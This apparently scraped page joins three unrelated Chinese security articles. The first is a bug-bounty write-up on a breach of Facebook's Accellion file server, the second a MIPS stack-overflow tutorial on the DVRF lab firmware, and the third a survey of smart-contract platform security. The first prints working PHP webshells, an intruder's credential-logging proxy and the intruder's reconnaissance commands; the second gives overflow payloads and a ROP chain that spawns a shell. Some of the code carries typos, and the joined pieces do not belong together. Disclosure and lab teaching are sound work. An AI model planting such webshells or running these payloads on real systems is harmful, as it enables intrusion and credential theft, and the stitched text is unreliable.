参见论文[APPENDIX部分](https://arxiv.org/abs/1801.04883) | 社区文章 |
原文：http://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script/
by [Orange Tsai](http://blog.orange.tw/)
[How I Hacked Facebook, and Found Someone's Backdoor
Script](https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/) (English Version)
[渗透Facebook的思路与发现](https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script/) (中文版本)
* * *
### 写在故事之前
身为一位渗透测试人员，比起Client Side 的弱点我更喜欢Server Side 的攻击，能够直接的控制伺服器、获得权限操作SHELL
才爽<(￣︶￣)>
当然一次完美的渗透任何形式的弱点都不可小觑，在实际渗透时偶尔还是需要些Client Side
弱点组合可以更完美的控制伺服器，但是在寻找弱点时我本身还是先偏向以可直接进入伺服器的方式来去寻找风险高、能长驱直入的弱点。
随着Facebook在世界上越来越火红、用户量越来越多，一直以来都有想要尝试看看的想法，恰巧Facebook在2012年开始有了[Bug
Bounty](https://www.facebook.com/whitehat/)奖金猎人的机制让我更跃跃欲试。
一般如由渗透的角度来说习惯性都会从收集资料、侦查开始，首先界定出目标在网路上的“范围” 有多大，姑且可以评估一下从何处比较有机会下手。例如:
* Google Hacking 到什么资料?
* 用了几个B 段的IP ? C 段的IP ?
* Whois? Reverse Whois?
* 用了什么域名? 内部使用的域名? 接着做子域名的猜测、扫描
* 公司平常爱用什么样技术、设备?
* 在Github, Pastebin 上是否有泄漏什么资讯?
* …etc
当然Bug Bounty 并不是让你无限制的攻击，将所搜集到的范围与Bug Bounty 所允许的范围做交集后才是你真正可以去尝试的目标。
一般来说大公司在渗透中比较容易出现的问题点这里举几个例子来探讨
1. 对多数大公司而言，” **网路边界** ”是比较难顾及、容易出现问题的一块，当公司规模越大，同时拥有数千、数万台机器在线，网管很难顾及到每台机器。在攻防里，防守要防的是一个面，但攻击只需找个一个点就可以突破，所以防守方相对处于弱势，攻击者只要找到一台位于网路边界的机器入侵进去就可以开始在内网进行渗透了!
2. 对于“ **连网设备** ”的安全意识相对薄弱，由于连网设备通常不会提供SHELL给管理员做进一步的操作，只能由设备本身所提供的介面设定，所以通常对于设备的防御都是从网路层来抵挡，但如遇到设备本身的0-Day或者是1-Day可能连被入侵了都不自觉。
3. 人的安全，随着“ **社工库** ”的崛起，有时可以让一次渗透的流程变得异常简单，从公开资料找出公司员工列表，再从社工库找到可以登入VPN的员工密码就可以开始进行内网渗透，尤其当社工库数量越来越多“ **量变成质变** ”时只要关键人物的密码在社工库中可找到，那企业的安全性就全然突破:P
理所当然在寻找Facebook 弱点时会以平常进行渗透的思路进行，在开始搜集资料时除了针对Facebook 本身域名查询外也对注册信箱进行Reverse
Whois 意外发现了个奇妙的域名名称
tfbnw.net
TFBNW似乎是“ **TheFacebook Network** ”的缩写
再藉由公开资料发现存在下面这台这台伺服器
vpn.tfbnw.net
哇! vpn.tfbnw.net 看起来是个Juniper SSL VPN
的登入介面，不过版本满新的没有直接可利用的弱点，不过这也成为了进入后面故事的开端。
TFBNW 看似是Facebook 内部用的域名，来扫扫vpn.tfbnw.net 同网段看会有什么发现
* Mail Server Outlook Web App
* F5 BIGIP SSL VPN
* CISCO ASA SSL VPN
* Oracle E-Business
* MobileIron MDM
从这几台机器大致可以判断这个网段对于Facebook 来说应该是相对重要的网段，之后一切的故事就从这里开始。
* * *
### 弱点发现
在同网段中，发现一台特别的伺服器
files.fb.com
_↑ files.fb.com 登入介面_
从LOGO 以及Footer 判断应该是Accellion 的Secure File Transfer (以下简称FTA)
FTA 为一款标榜安全档案传输的产品，可让使用者线上分享、同步档案，并整合AD, LDAP, Kerberos 等Single Sign-on
机制，Enterprise 版本更支援SSL VPN 服务。
首先看到FTA 的第一件事是去网路上搜寻是否有公开的Exploit 可以利用，Exploit 最近的是由HD Moore 发现并发布在Rapid7
的这篇Advisory
* [Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)](https://community.rapid7.com/community/metasploit/blog/2015/07/10/r7-2015-08-accellion-file-transfer-appliance-vulnerabilities-cve-2015-2856-cve-2015-2857)
弱点中可直接从“ **/tws/getStatus**
”中泄漏的版本资讯判断是否可利用，在发现files.fb.com时版本已从有漏洞的0.18升级至0.20了，不过就从Advisory中所透露的片段程式码感觉FTA的撰写风格如果再继续挖掘可能还是会有问题存在的，所以这时的策略便开始往寻找FTA产品的0-Day前进!
不过从实际黑箱的方式其实找不出什么问题点只好想办法将方向转为白箱测试，透过各种方式拿到旧版的FTA 原始码后终于可以开始研究了!
整个FTA 产品大致架构
1. 网页端介面主要由Perl 以及PHP 构成
2. PHP 原始码皆经过IonCube 加密
3. 在背景跑了许多Perl 的Daemon
首先是解密IonCude 的部分，许多设备为了防止自己的产品被检视所以会将原始码加密，不过好在FTA 上的IonCude
版本没到最新，可以使用现成的工具解密，不过由于PHP 版本的问题，细节部份以及数值运算等可能要靠自己修复一下，不然有点难看…
经过简单的原始码审查后发现，好找的弱点应该都被Rapid7找走了T^T
而需要认证才能触发的漏洞又不怎么好用，只好认真点往深层一点的地方挖掘!
经过几天的认真挖掘，最后总共发现了七个弱点，其中包含了
* Cross-Site Scripting x 3
* Pre-Auth SQL Injection leads to Remote Code Execution
* Known-Secret-Key leads to Remote Code Execution
* Local Privilege Escalation x 2
除了回报Facebook 安全团队外，其余的弱点也制作成Advisory 提交Accellion 技术窗口，经过厂商修补提交CERT/CC 后取得四个CVE
编号
* CVE-2016-2350
* CVE-2016-2351
* CVE-2016-2352
* CVE-2016-2353
详细的弱点细节会待Full Disclosure Policy 后公布!
_↑ 使用Pre-Auth SQL Injection 写入Webshell_
在实际渗透中进去伺服器后的第一件事情就是检视当前的环境是否对自己友善，为了要让自己可以在伺服器上待的久就要尽可能的了解伺服器上有何限制、纪录，避开可能会被发现的风险:P
Facebook 大致有以下限制:
1. 防火墙无法连外, TCP, UDP, 53, 80, 443 皆无法
2. 存在远端的Syslog 伺服器
3. 开启Auditd 记录
无法外连看起来有点麻烦，但是ICMP Tunnel 看似是可行的，但这只是一个Bug Bounty Program 其实不需要太麻烦就纯粹以Webshell
操作即可。
* * *
### 似乎有点奇怪?
正当收集证据准备回报Facebook 安全团队时，从网页日志中似乎看到一些奇怪的痕迹。
首先是在“ **/var/opt/apache/php_error_log**
”中看到一些奇怪的PHP错误讯息，从错误讯息来看似乎像是边改Code边执行所产生的错误?
_↑ PHP error log_
跟随错误讯息的路径去看发现疑似前人留下的Webshell 后门
_↑ Webshell on facebook server_
其中几个档案的内容如下
**sshpass**
沒錯，就是那個 sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient_user_class_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");
$retries = 0;
$max_retries = 100;
// 省略...
fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n");
// 省略...
前几个就是很标准的PHP一句话木马
其中比较特别的是“ **sclient_user_class_standard.inc** ”这个档案
include_once中“ **sclient_user_class_standard.inc.orig**
”为原本对密码进行验证的PHP程式，骇客做了一个Proxy在中间并在进行一些重要操作时先把GET, POST, COOKIE的值记录起来
整理一下，骇客做了一个Proxy 在密码验证的地方，并且记录Facebook 员工的帐号密码，并且将记录到的密码放置在Web
目录下，骇客每隔一段时间使用wget 抓取
wget https://files.fb.com/courier/B3dKe9sQaa0L.log
_↑ Logged passwords_
从纪录里面可以看到除了使用者帐号密码外，还有从FTA 要求档案时的信件内容，记录到的帐号密码会定时Rotate (后文会提及，这点还满机车的XD)
发现当下，最近一次的Rotate从2/1记录到2/7共约300笔帐号密码纪录，大多都是“ **@fb.com** ”或是“
**@facebook.com** ”的员工帐密，看到当下觉得事情有点严重了，在FTA中，使用者的登入主要有两种模式
1. 一般用户注册，密码Hash 存在资料库，由SHA256 + SALT 储存
2. Facebook 员工(@fb.com) 则走统一认证，使用LDAP 由AD 认证
在这里相信记录到的是真实的员工帐号密码， ** _\_ 猜测** **这份帐号密码应该可以通行Facebook Mail OWA,
VPN等服务做更进一步的渗透…
此外，这名“骇客” 可能习惯不太好:P
1. 后门参数皆使用GET 来传递，在网页日志可以很明显的发现他的足迹
2. 骇客在进行一些指令操作时没顾虑到STDERR ，导致网页日志中很多指令的错误讯息，从中可以观察骇客做了哪些操作
从access.log 可以观察到的每隔数日骇客会将记录到的帐号密码清空
192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...
打包档案
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files
对内部网路结构进行探测
dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...
使用Shell Script 进行内网扫描但忘记把STDERR 导掉XD
尝试对内部LDAP 进行连接
sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
尝试访问内部网路资源
(看起来Mail OWA可以直接访问…)
--20:38:09-- https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10-- https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'
0K ........ 100% 1.17G=0s
20:38:10 (1.17 GB/s) - `-' saved [8902/8902]
--20:38:33-- (try:15) https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03-- https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.
尝试对SSL Private Key 下手
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input
从浏览器观察files.fb.com 的凭证还是Wildcard 的*.fb.com …
* * *
### 后记
在收集完足够证据后便立即回报给Facebook 安全团队，回报内容除了漏洞细节外，还附上相对应的Log 、截图以及时间纪录xD
从伺服器中的日志可以发现有两个时间点是明显骇客在操作系统的时间，一个是七月初、另个是九月中旬
七月初的动作从纪录中来看起来比较偏向“逛”伺服器，但九月中旬的操作就比较恶意了，除了逛街外，还放置了密码Logger等，至于两个时间点的“骇客”是不是同一个人就不得而知了:P
而七月发生的时机点正好接近CVE-2015-2857 Exploit公布前，究竟是透过1-Day还是无0-Day入侵系统也无从得知了。
这件事情就记录到这里，总体来说这是一个非常有趣的经历xD
也让我有这个机会可以来写写关于渗透的一些文章:P
最后也感谢Bug Bounty 及胸襟宽阔的Facebook 安全团队让我可以完整记录这起事件: )
* * *
## Timeline
* 2016/02/05 20:05 提供漏洞详情给Facebook 安全团队
* 2016/02/05 20:08 收到机器人自动回覆
* 2016/02/06 05:21 提供弱点Advisory 给Accellion 技术窗口
* 2016/02/06 07:42 收到Thomas 的回覆，告知调查中
* 2016/02/13 07:43 收到Reginaldo 的回覆，告知Bug Bounty 奖金$10000 USD
* 2016/02/13 询问是否撰写Blog 是否有任何要注意的地方?
* 2016/02/13 询问此漏洞被认为是RCE 还是SQL Injection
* 2016/02/18 收到Reginaldo 的回覆，告知正在进行调查中，希望Blog 先暂时不要发出
* 2016/02/24 收到Hai 的回覆，告知奖金将会于三月发送
* 2016/04/20 收到Reginaldo 的回覆，告知调查已完成 | 社区文章 |
# 路由器漏洞挖掘之栈溢出入门（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最后在学习 MIPS 漏洞挖掘的过程中，找到了一个不错的靶机平台 The Damn Vulnerable Router Firmware Project
项目地址：<https://github.com/praetorian-inc/DVRF>
> The goal of this project is to simulate a real world environment to help
> people learn about other CPU architectures outside of the x86_64 space. This
> project will also help people get into discovering new things about
> hardware.
项目目录的结构：
Firmware 目录里存放的是路由器的固件文件，需要用 binwalk 进行提取
Pwnable Source 和 Source Code 都是放置存在漏洞的源代码的目录
## 前期环境准备
虚拟机环境的话可以选择 ubuntu 或者 debian，这里推荐 ubuntu 16.04
* IDA 的话推荐 6.8 版本的，下面这个链接来下载
<http://pan.baidu.com/s/1i4f1Lbf>
要模拟路由器固件环境需要用到几个基本的工具：
qemu/qemu-user-static/qemu-mips-static
binwalk
buildroot
mips-gdb
这些程序都可以使用 apt 来安装，或者可以看下面的这篇文章的安装教程：
<https://www.anquanke.com/post/id/84580>
如果安装过程中有问题的话可以参考下面这篇文章：
<https://xz.aliyun.com/t/3826>
或者这里有一个教程专门介绍在 qemu 下安装这个环境
<https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1>
将项目 git clone 下来之后， **使用 binwalk -Me 来提取出固件**
参数的说明
-M[--matryoshka] # 根据 magic 签名扫描结果进行递归提取
-e[--extract] # 如果探测到文件系统则尝试提取
在 squashfs-root/ 目录下发现是一个 Linksys E1550 的固件环境
进入到 pwnable 目录下，发现有几个程序。
先看第一个漏洞程序， **file 发现是 32 为小端的 MIPS 架构的 ELF 文件，也就是路由器等嵌入式系统使用的架构**
要运行他首先要把 qemu-mipsel 或者 qemu-mipsel-static 复制到当前的目录下（路由器根目录）
* 这里之所以要把程序放到 pwnable 目录里，是因为程序可以直接调用当前路由器的动态链接库， **相当于借用路由器固件的库来使用**
使用的命令：
cp $(which qemu-mipsel-static) ./
或者
cp $(which qemu-mipsel) ./
这里两句的命令的意思是 **寻找 qemu-mipsel-static 和 qemu-mipsel 可执行文件的位置，并把他复制到当前目录下**
这里要运行的话必须指定根目录，所以我们需要退回到路由器的根目录下来， **用 -L 参数来指定根目录：**
`./qemu-mipsel-static -L ./ pwnable/ShellCode_Required/socket_bof`
可以看到程序成功运行起来了，接下来进行程序和源代码的分析
## 题目分析
### IDA 静态分析
靶机当中给了 ELF 程序和源代码，这里建议先用 IDA 打开，汇编代码先过一遍，然后再看源代码
32 位的 IDA 打开查看 main 函数，前面是一些初始化工作，调用 memset 函数
在下面有一个 strcpy 函数
.text:004008A8 lw $gp, 0xE8+var_D8($fp)
.text:004008AC lw $v0, 0xE8+arg_4($fp)
.text:004008B0 nop
.text:004008B4 addiu $v0, 4
.text:004008B8 lw $v0, 0($v0)
.text:004008BC nop
.text:004008C0 move $v1, $v0
.text:004008C4 addiu $v0, $fp, 0xE8+var_D0
.text:004008C8 move $a0, $v0 # dest
.text:004008CC move $a1, $v1 # src
.text:004008D0 la $t9, strcpy
.text:004008D4 nop
.text:004008D8 jalr $t9 ; strcpy
.text:004008DC nop
仔细查看 strcpy 函数的两个参数，这里的 $a1 是从 $v0 传过来的， **而 $v0 是从命令行参数传过来的值。**
而这里的 $v0 是栈上的 buf 缓冲区。
这里调用 strcpy(buf,argv[0]) 函数，没有考虑到长度的问题， **所以很明显存在栈溢出漏洞。**
在左边的函数列表里，我们还可以发现其中的一个后门函数。这个函数直接调用了 system(“/bin/sh -c”) 来进行 getshell
所以这里很明显可以 **通过栈溢出来控制返回地址到这个函数，进行 getshell**
### 程序源代码分析
再看一下第一个程序的源代码：
#include <string.h>
#include <stdio.h>
//Simple BoF by b1ack0wl for E1550
int main(int argc, char **argv[]){
char buf[200] ="";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>rn-By b1ack0wlrn");
exit(1);
}
printf("Welcome to the first BoF exercise!rnrn");
strcpy(buf, argv[1]);
printf("You entered %s rn", buf);
printf("Try Againrn");
return 0x41; // Just so you can see what register is populated for return statements
}
void dat_shell(){
printf("Congrats! I will now execute /bin/shrn-b1ack0wlrn");
system("/bin/sh -c");
//execve("/bin/sh","-c",0);
//execve("/bin/sh", 0, 0);
exit(0);
}
这里果然是调用了 strcpy 函数接受命令行参数之后， **直接将这个字符串放到缓存区中（len(buf) =
200），没有考虑目的缓冲区的大小导致的栈溢出。**
后门函数也和我们分析的一样，直接调用 system 函数
## 栈溢出利用
### IDA 动态调试分析
运行程序加上 -g 参数后使用 IDA 进行动态调试
若对调试的方法不太熟悉可以看笔者之前的文章：
<https://www.anquanke.com/post/id/169689>
在 0x004008C8 地址处下一个断点，观察参数的变化：
F9 运行到指定位置，F7 单步两次，查看寄存器的值
直接运行起来的话会发现程序会 crash 掉。
**单步的话也可以看到返回地址被填充为了 ‘AAAA’** ，溢出成功
#### 确定偏移
使用 patternLocOffset.py 工具来确定偏移，生成 300 个字符串
python patternLocOffset.py -c -l 300 -f offset
复制字符串作为程序的命令行参数
开启 IDA 的远程调试，在 0x0040093C 处下断点，也就是给 $ra 赋值的地方。
单步步过以后会发现，此时 $ra 的值是 0x41386741
**我们用这个值来确定偏移：**
nick@nick-machine:~/iot/tools$ python patternLocOffset.py -s 0x41386741 -l 300
[*] Create pattern string contains 300 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 204 (adjusted another-endian)
[+] take time: 0.0122 s
字符串在偏移 204 的位置，也就是填充 204 个字符串以后，再填充四个字节就是 $ra 的值
这里我们把他换成后门的地址就行了，注意这里是小端的格式
继续使用 IDA 来动态调试，将 payload 输入到 test 文件中
python -c "print 'a'*204+'x50x09x40x00'" > test
下断点把他运行起来
./qemu-mipsel -L ./ -g 23946 ./pwnable/Intro/stack_bof_01 "`cat test`"
**但是在进入 dat_shell 函数时，运行到某一个地方时，程序又 crash 掉** ，这是为什么呢？
因为我们溢出的时候把 $gp 寄存器也覆盖了，$gp 寄存器是用来全局指针寻址用的，覆盖了他就会导致程序无法正常寻址，自然程序就会 crash。
* 这里不能用 python -c 命令作为命令行参数传进去， **因为在 python 输出过程中会被截断**
所以我们这里需要构造 ROP 来进行调用后门函数。
### ROP 的构造
构造的原因和原理可以看下面的链接，这里就不造轮子了。
<http://www.myzaker.com/article/599f82511bc8e0390f00001b/>
首先我们在 IDA 中使用 mipsrop 来寻找合适的 gadget。
最方便的方式就是直接在栈上构造 dat_shell 的地址， **使用 li/lw 命令传入 $t9 寄存器之后直接调用 gadget。**
将路由器目录下的 lib 目录下的 libc.so.0 加载进 IDA，使用 mipsrop 插件在 0x6B20 处发现一个合适的 gadget
**这个 gadget 直接将栈上的第一个内存空间做为函数来直接调用。**
这里找到了这个偏移后，我们还需要找到我们本地的 libc 的基地址。
这里本来可以在关闭本机的 ASLR 以后， **使用 mipsel-ldd 工具来查看程序的 libc 基地址**
但是不知道为什么这里出错查看不了。
所以这里 **选择 gdb 调试来查看区段的映射信息** 。（IDA 里无法查看 libc/动态链接库的内存空间）
### gdb 的动态调试
使用 gdb 进行动态调试的话会比较方便，只需要在本地编译安装一个 mips 架构的 gdb， **或者可以直接使用 buildroot 编译好的
gdb** （output/host 目录下）
gdb 加载程序以后挂上远程调试：
set architecture mips
target remote 127.0.0.1:23946
**连接上远程 gdb 调试之后，程序会自动断在开头** ，之后就是和 x86 程序一样的调试了。
* vmmap 命令来查看映射，得到 libc 的地址 0x766ebb20
上图也验证了 ROP 的地址就是我们需要的 gadget 的地址
#### 调用 gadget 分析
python -c "print 'a'*204+'\x20\xbb\x6e\x76'+'\x50\x09\x40\x00'" > test
./qemu-mipsel -g 23946 -L ./ ./pwnable/Intro/stack_bof_01 `cat 'test'`
gdb 下断：
b *0x00400948
这里 jr $ra 之后就会跳转到 gadget 之后，再 jr 到 dat_shell 函数的地址了
### getshell
填充说明：
\x20\xbb\x6e\x76 # 跳转到 gadget，将栈上第一个参数传给 $t9 并调用
\x50\x09\x40\x00 # jr $t9
这边成功执行了 system 函数
## 一些技巧
1. 可以使用 buildroot output/host 目录下的一些工具，例如 ldd、objdump，这里最好将 output/host 目录导入到环境变量里去/
2. IDA 版本最好选择 6.8 的，7.0 版本的对于 MIPS 架构程序的分析还存在一些问题。
3. 多用 gdb 代替 IDA 来进行动态调试
## 总结
这里栈溢出利用的技巧还是 ROP 链的构造，还是多动手调试才能更加熟练。 | 社区文章 |
**作者：天宸@蚂蚁安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/ZxrBHgZ5a_IuU0nNySIlwA>**
南方科技大学教授张殷乾：
智能合约是运行在区块链的具备图灵完备行的分布式应用程序，在以太坊、EOS等区块链上有广泛的应用。然而，随着智能合约的普及和应用，针对智能合约的攻击事件屡见不鲜。为了帮助人们更好地理解这些漏洞的原理，蚂蚁安全实验室“智能合约安全系列
-- 举一反三总结篇”文章总结了以太坊和EOS区块链上智能合约的一些已知攻击的原理。
* 文章首先介绍了智能合约基本概念，以及智能合约运行机制。它从隔离机制、停机机制、以及跨合约调用三部分出发，阐明了智能合约本身的工作原理以及安全机制。其次，文章按照漏洞在各个平台上的通用性高低程度，对于已经发生的若干种漏洞进行分类总结。漏洞类型分为五类：1.基础漏洞类型 2.函数接口漏洞类型 3.平台特性漏洞类型 4.充值场景漏洞类型 5.经典攻击手法区块链上再现。
* 由于智能合约漏洞常引发大规模的经济损失，智能合约的漏洞得到了人们的广泛关注，不少相关机构都已经提出类似的漏洞总结文章。蚂蚁安全实验室这篇文章从三个新角度带给人们一些启发性：（1）以太坊和EOS两条区块链上漏洞的共性和差异，（2）从平台适用性角度对这些漏洞的分类总结，（3）针对充值场景漏洞类型的几种分类。
蚂蚁安全实验室还发表了其他关于智能合约漏洞的文章总结，其中对于每一种漏洞的介绍更为具体详细。感谢蚂蚁安全实验室为区块链平台做出的努力和贡献，也由衷希望区块链在这些安全机构的帮助上能更加安稳、蓬勃发展。
本文是智能合约安全分析系列的最后一篇文章。[在智能合约安全系列 --运行平台科普篇](https://mp.weixin.qq.com/s/yDTx2-Ia8-b1PLz8oDzDfg "在智能合约安全系列 --运行平台科普篇")，[智能合约安全系列——百万合约之母以太坊的漏洞攻防术（上集）](https://mp.weixin.qq.com/s/hi2xigJFtHXbscATbXsAng
"智能合约安全系列——百万合约之母以太坊的漏洞攻防术（上集）")，[智能合约安全系列——百万合约之母以太坊的漏洞攻防术（下集)](https://mp.weixin.qq.com/s/Fj6cZ21yuGXDT0qStLaopw
"智能合约安全系列——百万合约之母以太坊的漏洞攻防术（下集\)")，[智能合约安全系列——EOS菠菜应用篇](https://mp.weixin.qq.com/s/QAvFyfAetlwF3Vow-liEew "智能合约安全系列——EOS菠菜应用篇")之后，本文希望对智能合约安全分析系列做一个总结。
# 1 引言
智能合约安全分析系列已接近尾声了。本系列前几篇文章着重分析了以太坊和 EOS
的智能合约漏洞。分析这两个平台一方面是因为这两个平台的漏洞数量多，损失重，另一方面是因为这两个平台是很多联盟链的借鉴对象，比如摩根大通开发的 Quorum
联盟链就是从以太坊演变而来，比如多个区块链平台都支持的回滚特性也是受这两个平台的影响。
分析这两个平台的合约漏洞对分析其他平台的合约漏洞有借鉴意义。本文的主要目的是总结这些漏洞类型，举一反三地看其他平台的智能合约安全。
# 2 平台安全机制总结
智能合约的运行离不开平台支持。平台本身也提供了一些安全机制，为智能合约的运行提供了有限的安全性。
## 2.1 隔离机制
图灵完备的智能合约意味着可以编写并执行任意的逻辑，包括恶意代码。如果智能合约能直接在区块链节点的宿主系统上运行，恶意代码可以破坏宿主系统的自身数据。因此智能合约必须放在一个隔离的沙盒环境中运行。对于这个问题，每个智能合约的合约平台都提供了虚拟机。
· 以太坊有 EVM
EVM 是内存隔离的。在每次消息调用开始，EVM 都要执行清除内存操作。EVM 虚拟机能够保证不同的合约之间，内存是隔离的。
· EOS 有 EOS-VM
EOSVM 是内存安全的。EOSVM
设定合约运行环境为32位机器，但是EOSVM运行环境需为64位。也正是通过这个机制，可以高效地控制内存使用。首先，EOSVM使用mmap方法为合约映射一块略大于4G大小的虚拟地址，作为合约可访问的数据边界。当合约内访问某个地址的数据时，实际上是访问基于该虚拟地址的偏移。因为合约的运行环境设定是32位，所以不存在越界访问的问题。
## 2.2 停机机制
智能合约的执行是需要消耗资源的，在区块链世界里，资源非常珍贵，不能任由智能合约无限执行，必须要让合约在一定的条件下停下来，也就是要解决停机问题。停机问题（halting
problem）是逻辑数学中可计算性理论的一个问题。通俗地说，停机问题就是判断任意一个程序是否能在有限的时间之内结束运行的问题。
· 比特币
比特币提供的比特币脚本执行机制只能算作智能合约模型，因为比特币脚本的指令有限，且非图灵完备。也得益于这些限制，尚未发现利用比特币脚本实现的攻击案例。因为比特币脚本是非图灵完备的，且没有循环或者复杂流控制功能，不能创造无限循环或其它类型的逻辑炸弹，所以比特币脚本是可停止的。
· 以太坊
以太坊提供了图灵完备的智能合约执行机制，提供的 Solidity 语言和 EVM
能够满足开发者开发出复杂的业务逻辑。相应的，就会面临停机问题。以太坊的应对方式是计价器方式，引入了 gas
机制，在以太坊中，每一个操作都需要消耗一定量的gas，如果gas消耗完了，程序就可以停止下来。以太坊在发起每笔交易时，都会预设一定量的gas
limit，如果在执行过程中，gas被消耗完，合约就会停止执行。
· EOS
EOS 和以太坊一样，也提供了图灵完备的合约执行机制，但是 EOS 解决停机问题的方式跟以太坊不同。EOS 采用了计时器方式，EOS
利用控制执行时间来解决停机问题，即用户须要预先抵押 EOS 换取 CPU 资源（以时间为单位，如300ms），在合约执行前在关键位置注入
checktime()，执行时不断检查时间，若已超出时间上限，则停止执行。
· 联盟链
联盟链有很多，如 fabric，quorum，mychain。联盟链的停机问题更多的是靠约束参与者本身达成的。如 Fabric 使用 docker
虚拟机，可支持多种编程语言，但是 Fabric 没有计价器也没有计时器，更多的是依赖审核联盟成员的身份来约束成员不作恶。Quorum 和 Mychain
都参考了以太坊的实现，尽管保留 gas 本身，但是删除了以太坊中 gas 的定价，即 gasPrice = 0，转账时没有矿工费。gas
也就不能作为停机的依据。这两个链也是默认联盟成员自身不作恶。
## 2.3 跨合约调用控制
跨合约调用必须是确定性的静态调用——在运行前即知晓被调用合约的地址，且调用结果是确定性的。需要注意两个方面：
### 2.3.1 上下文的切换
上下文切换常发生在跨合约调用中：合约A调用合约B时，上下文应是合约A还是变更为合约B。典型例子，在Solidity中，msg.sender和storage是上下文相关的，语言提供了call,
delegateCall 来适应不同的上下文切换的需求。
在EOS中，跨合约调用的上下文永远是被调用合约，由于调用action需要显式指定调用者账户（类似solidity中的msg.sender），且storage与上下文分离，因此没有以太坊那样的问题，使用起来更加简单。
### 2.3.2 权限控制
权限控制是跨合约调用中不可避免的问题，它关系到用户的数据安全。我们来看下面这个例子：
Bob 调用合约 A 的 hi 方法，hi 中包含一个跨合约调用，形如 B.hello()，调用了合约 B 的 hello 方法。
那么问题来了：Bob 只是希望调用合约 A 的方法，而合约 A 是否有权利以 Bob 的账户调用合约 B？
EVM实际并没有考虑权限的问题。开发者在编写合约时可自行选择 call, delegateCall
中任意一种方式调用其他合约。这么做似乎并没有太大的影响，因为以太坊合约部署后任何人不能修改，也无法升级，只要用户确认了代码是符合要求的，那调用的后果就应由用户自行负责。然而，合约开发者们还是担心资产安全问题，主流的资产标准（如ERC20）都提供了授权的接口，即只有被授权的合约才能进行转移用户的相应资产，以此实现权限的控制。
而在EOS中，由于合约代码可以升级，情况则大不一样：假如合约A的运营方在某次合约升级中（或被黑客攻击）悄悄把hi方法中对合约B的合约调用改为transfer，把Bob的
xxx Token转账给自己。Bob可能并不能及时知晓代码更新，则很有可能在后续调用中触发转账操作，丢失资产。为了解决这一情况，EOS提供了两种方法：
· Bob创建新的权限，并授予合约的eosio.code权限，并指定合约A的hi和合约B的hello，如此Bob账户只能用于调用A.hi与B.hello。
· 新增了require_receipt的通知方法，它使用合约A账户而非Bob账户调用合约B，并修改上下文变量以指明来源方。
